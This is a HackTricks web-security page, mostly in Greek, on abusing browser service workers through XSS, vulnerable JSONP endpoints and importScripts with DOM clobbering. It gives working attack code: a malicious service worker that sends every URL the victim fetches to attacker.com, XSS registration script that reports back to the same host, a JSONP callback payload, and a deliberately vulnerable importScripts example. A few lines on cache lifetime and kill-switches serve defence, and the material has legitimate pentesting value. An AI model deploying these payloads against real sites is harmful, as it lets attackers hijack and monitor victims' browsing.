Abusing Service Workers

Support HackTricks

Basic Information

Ένας service worker είναι ένα σενάριο που εκτελείται από τον περιηγητή σας στο παρασκήνιο, ξεχωριστά από οποιαδήποτε ιστοσελίδα, επιτρέποντας δυνατότητες που δεν απαιτούν ιστοσελίδα ή αλληλεπίδραση χρήστη, ενισχύοντας έτσι τις δυνατότητες εκτός σύνδεσης και επεξεργασίας στο παρασκήνιο. Λεπτομερείς πληροφορίες σχετικά με τους service workers μπορείτε να βρείτε εδώ. Εκμεταλλευόμενοι τους service workers σε έναν ευάλωτο διαδικτυακό τομέα, οι επιτιθέμενοι μπορούν να αποκτήσουν έλεγχο στις αλληλεπιδράσεις του θύματος με όλες τις σελίδες εντός αυτού του τομέα.

Checking for Existing Service Workers

Οι υπάρχοντες service workers μπορούν να ελεγχθούν στην ενότητα Service Workers της καρτέλας Application στα Developer Tools. Μια άλλη μέθοδος είναι να επισκεφθείτε το chrome://serviceworker-internals για μια πιο λεπτομερή προβολή.

Push Notifications

Οι άδειες ειδοποιήσεων push επηρεάζουν άμεσα την ικανότητα ενός service worker να επικοινωνεί με τον διακομιστή χωρίς άμεση αλληλεπίδραση χρήστη. Εάν οι άδειες απορριφθούν, περιορίζει τη δυνατότητα του service worker να αποτελεί συνεχή απειλή. Αντίθετα, η χορήγηση αδειών αυξάνει τους κινδύνους ασφαλείας επιτρέποντας την παραλαβή και εκτέλεση πιθανών εκμεταλλεύσεων.

Attack Creating a Service Worker

Για να εκμεταλλευτείτε αυτήν την ευπάθεια πρέπει να βρείτε:

  • Έναν τρόπο να ανεβάσετε αυθαίρετα JS αρχεία στον διακομιστή και μια XSS για να φορτώσετε τον service worker του ανεβασμένου JS αρχείου

  • Ένα ευάλωτο JSONP αίτημα όπου μπορείτε να χειριστείτε την έξοδο (με αυθαίρετο JS κώδικα) και μια XSS για να φορτώσετε το JSONP με ένα payload που θα φορτώσει έναν κακόβουλο service worker.

Στο παρακάτω παράδειγμα θα παρουσιάσω έναν κώδικα για να καταχωρήσετε έναν νέο service worker που θα ακούει το γεγονός fetch και θα στέλνει στον διακομιστή των επιτιθέμενων κάθε URL που ανακτάται (αυτός είναι ο κώδικας που θα χρειαστεί να ανεβάσετε στον διακομιστή ή να φορτώσετε μέσω μιας ευάλωτης JSONP απάντησης):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Και αυτός είναι ο κώδικας που θα καταχωρήσει τον εργαζόμενο (ο κώδικας που θα πρέπει να είστε σε θέση να εκτελέσετε εκμεταλλευόμενοι μια XSS). Σε αυτή την περίπτωση, ένα GET αίτημα θα σταλεί στον διακομιστή των επιτιθέμενων γνωστοποιώντας αν η καταχώρηση του service worker ήταν επιτυχής ή όχι:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

Σε περίπτωση κατάχρησης ενός ευάλωτου JSONP endpoint, θα πρέπει να βάλετε την τιμή μέσα στο var sw. Για παράδειγμα:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

There is a C2 dedicated to the exploitation of Service Workers called Shadow Workers that will be very useful to abuse these vulnerabilities.

The 24-hour cache directive limits the life of a malicious or compromised service worker (SW) to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a service worker kill-switch for rapid deactivation.

Abusing importScripts in a SW via DOM Clobbering

The function importScripts called from a Service Worker can import a script from a different domain. If this function is called using a parameter that an attacker could modify he would be able to import a JS script from his domain and get XSS.

This even bypasses CSP protections.

Example vulnerable code:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Με DOM Clobbering

Για περισσότερες πληροφορίες σχετικά με το τι είναι το DOM Clobbering, ελέγξτε:

Dom Clobbering

Εάν το URL/domain που χρησιμοποιεί το SW για να καλέσει importScripts είναι μέσα σε ένα HTML στοιχείο, είναι δυνατό να το τροποποιήσετε μέσω του DOM Clobbering για να κάνετε το SW να φορτώσει ένα script από το δικό σας domain.

Για ένα παράδειγμα αυτού, ελέγξτε τον σύνδεσμο αναφοράς.

Αναφορές

Support HackTricks

Last updated